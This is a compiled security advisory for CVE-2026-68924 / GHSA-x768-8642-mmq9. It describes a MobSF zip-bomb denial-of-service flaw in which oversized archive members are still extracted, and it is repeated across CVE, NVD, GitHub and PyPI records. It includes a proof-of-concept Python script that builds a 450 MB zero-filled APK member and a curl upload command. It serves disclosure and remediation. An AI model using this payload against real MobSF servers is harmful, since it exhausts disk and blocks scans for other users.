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CVE-2026-68924 (GCVE-0-2026-68924)

Vulnerability from cvelistv5 – Published: 2026-08-18 17:46 – Updated: 2026-08-18 17:58

Title

MobSF: Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction

Summary

MobSF is a mobile application security testing tool used. Prior to 4.5.1, the unzip function in mobsf/StaticAnalyzer/views/common/shared_func.py logs that an archive member exceeding ZIP_MAX_UNCOMPRESSED_FILE_SIZE is being skipped but does not continue to the next member, so an authenticated user can upload a crafted ZIP or APK whose oversized member is extracted to disk when the aggregate ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE limit has not yet been reached, potentially exhausting disk space and preventing further scans. This issue is fixed in version 4.5.1.

Severity

4.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-18 17:57 UTC

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/MobSF/Mobile-Security-Framewor…	x_refsource_CONFIRM
https://github.com/MobSF/Mobile-Security-Framewor…	x_refsource_MISC
https://github.com/MobSF/Mobile-Security-Framewor…	x_refsource_MISC
https://github.com/MobSF/Mobile-Security-Framewor…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
MobSF	Mobile-Security-Framework-MobSF	Affected: < 4.5.1	guessed

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FKIE_CVE-2026-68924

Vulnerability from fkie_nvd - Published: 2026-08-18 18:19 - Updated: 2026-08-18 18:19

Severity

4.9 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Summary

References

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	security-advisories@github.com	https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627
	security-advisories@github.com	https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1
	security-advisories@github.com	https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-x768-8642-mmq9
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-x768-8642-mmq9

Impacted products

	Vendor	Product	Version

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GHSA-X768-8642-MMQ9

Vulnerability from github – Published: 2026-08-18 18:00 – Updated: 2026-08-18 18:00

Summary

MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction

Details

Summary

When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.

Verified Impact (Code Audit)

The vulnerable code path in shared_func.py lines 153–182:

# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
    raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
    continue
else:
    fileinfo.external_attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
    zipptr.extract(file_path, ext_path)   # ← Runs regardless of size check

The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.

Steps to Reproduce

1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):

#!/usr/bin/env python3
import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
    # 450 MB file (exceeds 400 MB limit) — compresses to ~KB
    info = zipfile.ZipInfo('assets/huge.bin')
    info.compress_type = zipfile.ZIP_DEFLATED
    with zf.open(info, 'w') as f:
        for _ in range(450):
            f.write(b'\x00' * (1024 * 1024))  # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")

2. Upload via API:

curl -X POST http://127.0.0.1:8000/api/v1/upload \
  -H "X-Mobsf-Api-Key: YOUR_KEY" \
  -F "file=@poc.apk"

3. Trigger scan, then verify:

# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there

Why This Is Not a Self-Bug

This affects any user who scans a maliciously crafted APK
The APK could come from a legitimate-looking package submitted for security review
Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists
Impact: disk exhaustion preventing further scans for other users

Remediation

Add continue after the size warning:

if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    continue  # ← ADD THIS LINE

Severity

4.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mobsf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-68924"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T18:00:47Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen extracting uploaded ZIP/APK files, MobSF checks if individual files exceed `ZIP_MAX_UNCOMPRESSED_FILE_SIZE` (400 MB) and logs \"Skipping\" \u2014 but the code lacks a `continue` statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.\n\n### Verified Impact (Code Audit)\n\nThe vulnerable code path in `shared_func.py` lines 153\u2013182:\n\n```python\n# Line 156: Size check\nif fileinfo.file_size \u003e settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:\n    size_mb = fileinfo.file_size / (1024 * 1024)\n    msg = (f\u0027File too large ({size_mb:.2f} MB). Skipping \u0027\n           f\u0027{sanitize_for_logging(file_path)}\u0027)\n    logger.warning(msg)\n    # \u2190 BUG: No \u0027continue\u0027 here! Execution falls through.\n\n# Line 161: Total size check (separate)\nif total_size \u003e settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:\n    raise Exception(msg)\n\n# Line 171-178: Permission fixing (only dirs get \u0027continue\u0027)\nif fileinfo.is_dir():\n    continue\nelse:\n    fileinfo.external_attr = ...\n\n# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES\ntry:\n    zipptr.extract(file_path, ext_path)   # \u2190 Runs regardless of size check\n```\n\nThe control flow is clear: after the size check logs \"Skipping\", no `continue` or `break` is issued. The code proceeds to line 182 which extracts the file unconditionally.\n\n### Steps to Reproduce\n\n**1.** Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):\n\n```python\n#!/usr/bin/env python3\nimport zipfile, tempfile, os\n\noutput = tempfile.mktemp(suffix=\u0027.apk\u0027)\nwith zipfile.ZipFile(output, \u0027w\u0027, zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr(\u0027AndroidManifest.xml\u0027, \u0027\u003cmanifest package=\"com.poc\"/\u003e\u0027)\n    # 450 MB file (exceeds 400 MB limit) \u2014 compresses to ~KB\n    info = zipfile.ZipInfo(\u0027assets/huge.bin\u0027)\n    info.compress_type = zipfile.ZIP_DEFLATED\n    with zf.open(info, \u0027w\u0027) as f:\n        for _ in range(450):\n            f.write(b\u0027\\x00\u0027 * (1024 * 1024))  # 1 MB at a time\n\nprint(f\"Created: {output} ({os.path.getsize(output)} bytes compressed)\")\n```\n\n**2.** Upload via API:\n\n```bash\ncurl -X POST http://127.0.0.1:8000/api/v1/upload \\\n  -H \"X-Mobsf-Api-Key: YOUR_KEY\" \\\n  -F \"file=@poc.apk\"\n```\n\n**3.** Trigger scan, then verify:\n\n```bash\n# Log says \"Skipping\" but file exists on disk:\ngrep \"File too large\" ~/.MobSF/debug.log\nls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there\n```\n\n### Why This Is Not a Self-Bug\n\n- This affects any user who scans a maliciously crafted APK\n- The APK could come from a legitimate-looking package submitted for security review\n- Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected \u003c=4.3.2) \u2014 that advisory fixed the total size limit but this per-file bypass persists\n- Impact: disk exhaustion preventing further scans for other users\n\n### Remediation\n\nAdd `continue` after the size warning:\n\n```python\nif fileinfo.file_size \u003e settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:\n    size_mb = fileinfo.file_size / (1024 * 1024)\n    msg = (f\u0027File too large ({size_mb:.2f} MB). Skipping \u0027\n           f\u0027{sanitize_for_logging(file_path)}\u0027)\n    logger.warning(msg)\n    continue  # \u2190 ADD THIS LINE\n```",
  "id": "GHSA-x768-8642-mmq9",
  "modified": "2026-08-18T18:00:47Z",
  "published": "2026-08-18T18:00:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-x768-8642-mmq9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction"
}

PYSEC-2026-3691

Vulnerability from pysec - Published: 2026-08-19 11:56 - Updated: 2026-08-19 12:16

Details

Summary

Verified Impact (Code Audit)

The vulnerable code path in shared_func.py lines 153–182:

# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
    raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
    continue
else:
    fileinfo.external_attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
    zipptr.extract(file_path, ext_path)   # ← Runs regardless of size check

The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.

Steps to Reproduce

1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):

#!/usr/bin/env python3
import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
    # 450 MB file (exceeds 400 MB limit) — compresses to ~KB
    info = zipfile.ZipInfo('assets/huge.bin')
    info.compress_type = zipfile.ZIP_DEFLATED
    with zf.open(info, 'w') as f:
        for _ in range(450):
            f.write(b'\x00' * (1024 * 1024))  # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")

2. Upload via API:

curl -X POST http://127.0.0.1:8000/api/v1/upload \
  -H "X-Mobsf-Api-Key: YOUR_KEY" \
  -F "file=@poc.apk"

3. Trigger scan, then verify:

# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there

Why This Is Not a Self-Bug

This affects any user who scans a maliciously crafted APK
The APK could come from a legitimate-looking package submitted for security review
Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists
Impact: disk exhaustion preventing further scans for other users

Remediation

Add continue after the size warning:

if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    continue  # ← ADD THIS LINE

Severity

4.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Impacted products

Name	purl
mobsf	pkg:pypi/mobsf

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mobsf",
        "purl": "pkg:pypi/mobsf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.2.6",
        "3.2.7",
        "3.2.8",
        "3.2.9",
        "3.3.3",
        "3.3.5",
        "3.4.0",
        "3.4.3",
        "3.4.6",
        "3.5.0",
        "3.6.0",
        "3.6.9",
        "3.7.6",
        "3.9.7",
        "4.1.3",
        "4.3.0",
        "4.3.2",
        "4.4.0",
        "4.4.2",
        "4.4.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-68924",
    "GHSA-x768-8642-mmq9"
  ],
  "details": "### Summary\n\nWhen extracting uploaded ZIP/APK files, MobSF checks if individual files exceed `ZIP_MAX_UNCOMPRESSED_FILE_SIZE` (400 MB) and logs \"Skipping\" \u2014 but the code lacks a `continue` statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.\n\n### Verified Impact (Code Audit)\n\nThe vulnerable code path in `shared_func.py` lines 153\u2013182:\n\n```python\n# Line 156: Size check\nif fileinfo.file_size \u003e settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:\n    size_mb = fileinfo.file_size / (1024 * 1024)\n    msg = (f\u0027File too large ({size_mb:.2f} MB). Skipping \u0027\n           f\u0027{sanitize_for_logging(file_path)}\u0027)\n    logger.warning(msg)\n    # \u2190 BUG: No \u0027continue\u0027 here! Execution falls through.\n\n# Line 161: Total size check (separate)\nif total_size \u003e settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:\n    raise Exception(msg)\n\n# Line 171-178: Permission fixing (only dirs get \u0027continue\u0027)\nif fileinfo.is_dir():\n    continue\nelse:\n    fileinfo.external_attr = ...\n\n# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES\ntry:\n    zipptr.extract(file_path, ext_path)   # \u2190 Runs regardless of size check\n```\n\nThe control flow is clear: after the size check logs \"Skipping\", no `continue` or `break` is issued. The code proceeds to line 182 which extracts the file unconditionally.\n\n### Steps to Reproduce\n\n**1.** Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):\n\n```python\n#!/usr/bin/env python3\nimport zipfile, tempfile, os\n\noutput = tempfile.mktemp(suffix=\u0027.apk\u0027)\nwith zipfile.ZipFile(output, \u0027w\u0027, zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr(\u0027AndroidManifest.xml\u0027, \u0027\u003cmanifest package=\"com.poc\"/\u003e\u0027)\n    # 450 MB file (exceeds 400 MB limit) \u2014 compresses to ~KB\n    info = zipfile.ZipInfo(\u0027assets/huge.bin\u0027)\n    info.compress_type = zipfile.ZIP_DEFLATED\n    with zf.open(info, \u0027w\u0027) as f:\n        for _ in range(450):\n            f.write(b\u0027\\x00\u0027 * (1024 * 1024))  # 1 MB at a time\n\nprint(f\"Created: {output} ({os.path.getsize(output)} bytes compressed)\")\n```\n\n**2.** Upload via API:\n\n```bash\ncurl -X POST http://127.0.0.1:8000/api/v1/upload \\\n  -H \"X-Mobsf-Api-Key: YOUR_KEY\" \\\n  -F \"file=@poc.apk\"\n```\n\n**3.** Trigger scan, then verify:\n\n```bash\n# Log says \"Skipping\" but file exists on disk:\ngrep \"File too large\" ~/.MobSF/debug.log\nls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there\n```\n\n### Why This Is Not a Self-Bug\n\n- This affects any user who scans a maliciously crafted APK\n- The APK could come from a legitimate-looking package submitted for security review\n- Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected \u003c=4.3.2) \u2014 that advisory fixed the total size limit but this per-file bypass persists\n- Impact: disk exhaustion preventing further scans for other users\n\n### Remediation\n\nAdd `continue` after the size warning:\n\n```python\nif fileinfo.file_size \u003e settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:\n    size_mb = fileinfo.file_size / (1024 * 1024)\n    msg = (f\u0027File too large ({size_mb:.2f} MB). Skipping \u0027\n           f\u0027{sanitize_for_logging(file_path)}\u0027)\n    logger.warning(msg)\n    continue  # \u2190 ADD THIS LINE\n```",
  "id": "PYSEC-2026-3691",
  "modified": "2026-08-19T12:16:29.842803Z",
  "published": "2026-08-19T11:56:27.628217Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-x768-8642-mmq9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/mobsf"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-x768-8642-mmq9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68924"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction"
}

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